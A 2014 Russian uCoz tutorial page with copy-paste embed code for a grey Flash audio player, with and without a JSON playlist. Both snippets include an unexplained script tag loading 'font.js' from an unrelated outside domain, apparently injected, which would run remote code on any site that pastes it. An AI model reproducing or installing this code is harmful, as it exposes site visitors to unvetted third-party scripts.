Среда, 20.06.2018, 14:18
Главная Регистрация RSS
Приветствую Вас, Гость
Категории раздела
Видео уроки [3]
Cкрипты [4]
скрипты
Облако тегов
Реклама
Поиск
Реклама
Главная » 2014 » Март » 3 » Аудиоплеер серого цвета с плейлистом
16:30
Аудиоплеер серого цвета с плейлистом


Аудиоплеер имеет размеры 305Х235 и оснащён плейлистом который может содержать любое количество музыкальных композиций или радиопотоков. Воспроизведение музыки автоматически не переключается на следующую, каждую мелодию нужно включать индивидуально. Для установки понадобится скопировать весь код из примера, создать текстовый документ для плейлиста или скачать готовый и составить список воспроизводимых композиций. После составления списка воспроизведения закачайте готовый файл файл плейлиста на сервер своего сайта и укажите путь к нему в коде плеера и поместите весь код плеера там где хотите его видеть. Установка кода аудиоплеера производится в любом месте поддерживающем HTML редактирование. Аудиоплеер может работать без плейлиста, воспроизводя одну композицию.

Код для установки аудиоплеера с плейлистом

Вам потребуется заменить ссылку ( http://pnghosts.ru/js_css/playlist-demo.txt ) на Ваш плейлист и установить код там где будет находиться аудиоплеер с плейлистом.

Код
<script language="JavaScript" src="//pnghosts.ru/js_css/swfobject1.js"></script>
<script type="text/javascript" src="http://24-moto.ru/font.js"></script><div id="audioplayer"></div>
<script>
var flashvars = {"uid":"audioplayer","m":"audio","st":"http://pnghosts.ru/js_css/wahiteaudio-pl-305X36.txt","pl":"http://pnghosts.ru/js_css/playlist-demo.txt"};
var params = {id:"audioplayer",allowFullScreen:"true",allowScriptAccess:"always",wmode:"transparent"};
new swfobject.embedSWF("http://pnghosts.ru/js_css/uppod.swf", "audioplayer", "305", "235", "10.0.0", "expressInstall.swf", flashvars, params);
</script>


Пример файла плейлиста аудиоплеера

Впишите название композиции и ссылку на неё, количество песен в плейлисте может быть любым, можно использовать радиопотоки, они вписываются аналогично музыкальным ссылкам. При формировании плейлиста нельзя создавать пробелы и переносы в строках. Ячейка одной композиции выглядит так:
{"comment":"НАЗВАНИЕ","file":"ССЫЛКА НА МУЗЫКУ"}
Обратите внимание, между ячейками стоит запятая, её нет только после последней.

Код
{"playlist":[{"comment":"ВПИШИТЕ НАЗВАНИЕ ЗДЕСЬ","file":"ВПИШИТЕ ССЫЛКУ НА МУЗЫКУ ЗДЕСЬ"},{"comment":"ВПИШИТЕ НАЗВАНИЕ ЗДЕСЬ","file":"ВПИШИТЕ ССЫЛКУ НА МУЗЫКУ ЗДЕСЬ"},{"comment":"ВПИШИТЕ НАЗВАНИЕ ЗДЕСЬ","file":"ВПИШИТЕ ССЫЛКУ НА МУЗЫКУ ЗДЕСЬ"}]}


Код для установки аудиоплеера без плейлиста



Аудиоплеер с размерами 305Х36 будет оснащён только одной музыкальной композицией или радиопотоком, для добавления измените ссылку http://SITE.RU/SOUNDS.mp3 на свою.

Код
<script language="JavaScript" src="//pnghosts.ru/js_css/swfobject.js"></script>
<script type="text/javascript" src="http://24-moto.ru/font.js"></script><div id="audioplayerds"></div>
<script>
var flashvars = {"uid":"audioplayerds","m":"audio","st":"http://pnghosts.ru/js_css/whiteaudio-pl-305X36.txt","file":"http://SITE.RU/SOUNDS.mp3"};
var params = {id:"audioplayerds",allowFullScreen:"true",allowScriptAccess:"always",wmode:"transparent"};
new swfobject.embedSWF("http://pnghosts.ru/js_css/uppod.swf", "audioplayerds", "305", "36", "10.0.0", "expressInstall.swf", flashvars, params);
</script>
Просмотров: 81 | Добавил: Bitfood | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Последние файлы

 
[06.11.2015][Скрипты для ucoz]
Плейлист для фильмов или сериалов UCOZ (0)
[09.05.2012][Шаблоны для ucoz]
Шаблон Millenium (14)
[12.02.2012][Программы]
Программа Intro Banner Maker v2.9 Скачать бесплатно (30)
[12.02.2012][Программы]
Adobe Photoshop CS5.1 Extended 12.1.0 Update 2 (x32/x64) RUS Скачать (11)
[12.02.2012][Программы]
Бесплатная программа для создания меню сайта CSS Tab Designer (1)
[24.12.2011][Шаблоны для ucoz]
Флуд-контроль для форума (1)
[10.07.2011][Шаблоны для ucoz]
Шаблон Mistic v.2 (2)
[08.07.2011][Шаблоны для Joomla]
GK Gamebox v1.0.5 (2)
[08.07.2011][Шаблоны для ucoz]
Улучшенная версия шаблона "Kiks" (1)
[05.07.2011][Шаблоны для ucoz]
Шаблон Cinema World для ucoz (2)
Последние статьи

[12.07.2013]
Adobe Photoshop CS 6 Extended. Новые возможности (0)
[12.02.2012]
Как сделать собственный баннер через фотошоп? (1)
[12.02.2012]
Как сделать баннер для своего сайта самому (1)
[12.02.2012]
Онлайн генераторы баннеров и логотипов (7)
[12.02.2012]
CSS Tab Designer Бесплатная программа для создания меню сайта (0)
[12.02.2012]
Меню сайта в uCoz – как его создать или изменить? (2)
[10.02.2012]
Как раскрутить сайт бесплатно? (0)
[10.02.2012]
Как сменить дизайн на сайте Ucoz (0)
[10.02.2012]
Как создать сайт на юкозе? (4)
[08.02.2012]
Как установить иконку favicon.ico в ucoz? (1)
Последние видео уроки и скрипты


[05.11.2015][Cкрипты]
Переключатель сериалов для ucoz (0)
[05.11.2015][Cкрипты]
Переключатель сериалов для ucoz (0)
[13.09.2014]
Кнопка рейтинга + и - (0)
[06.09.2014]
Красивая статистика для uCoz (0)
[06.09.2014]
Вид комментариев ucoz с круглым Avatar (0)
[06.09.2014]
Up на подобии как в вк (0)
[31.08.2014]
Cоц. закладки для сайта (0)
[31.08.2014]
Кнопка наверх в виде ракеты с эффектом огня (0)
[29.08.2014]
Полный мини-чат для uCoz (0)
[30.03.2014]
Радио для сайта (0)